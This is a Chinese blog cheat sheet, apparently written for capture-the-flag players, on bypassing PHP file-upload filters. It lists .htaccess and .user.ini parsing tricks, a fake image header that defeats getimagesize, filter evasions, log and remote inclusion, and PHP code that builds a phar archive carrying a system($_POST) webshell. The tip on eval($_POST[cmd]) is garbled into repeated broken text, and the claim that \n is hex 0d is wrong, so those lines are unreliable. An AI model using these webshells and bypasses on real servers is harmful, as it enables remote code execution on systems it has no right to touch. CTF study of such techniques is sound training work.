CTF知识集-文件上传


title: CTF知识集-文件上传

开头可能会用到的提示

  • 除了PHP,php3 4 5 | phar | pht | phtml都是可能会解析的

  • 如果是apache(httpd) , 使用.htaccess 写入SetHandler application/x-httpd-php , 那么上传任意文件会被解析成php

  • 如果是apache(httpd) , 使用.htaccess, 写入AddType application/x-httpd-php .jpg 会把当前目录的jpg当成php解析

  • nginx,使用.user.ini 写入(当前目录有php文件才会生效),auto_prepend_file=shell.jpg或者auto_append_file=shell.jpg,上传shell.jpg被解析为php

  • .user.ini, auto_prepend_file=php://input | auto_append_file=php://input,也可以这样写,上传后访问上传目录的php里面,POST传入php代码

  • auto_prepend_file | auto_append_file也可以尝试包含日志,直接日志注入

  • getimagesize绕过,如果使用了这个检测函数,可以在文件头写入下面的代码,让这个函数认为上传的文件是jpg

    #define width 114
    #define height 514

  • []被检测可以使用{}

  • eval( P O S T [ c m d ] ) ; 如果 _POST[cmd]); 如果 POST[cmd]);如果_POST[cmd]用不了,可以array_pop($_POST),然后 post随便传入值即可

  • 利用语言结构,使用include包含日志文件

  • 如果空格被过滤,使用\n也就是0d,改十六进制数据

  • include远程包含

一些总结点

pear文件包含

首先生成一个phar文件,执行下面的php代码

<?php
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','<?php system($_POST[1]);?>');
$phar -> stopBuffering();
 
?>

生成的phar.phar里面,如果用phar协议读取(搭配文件包含),phar:///phar.phar/test.txt,那么里面的代码就会被执行,phar.phar也可以是其他文件名,例如p.zip

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值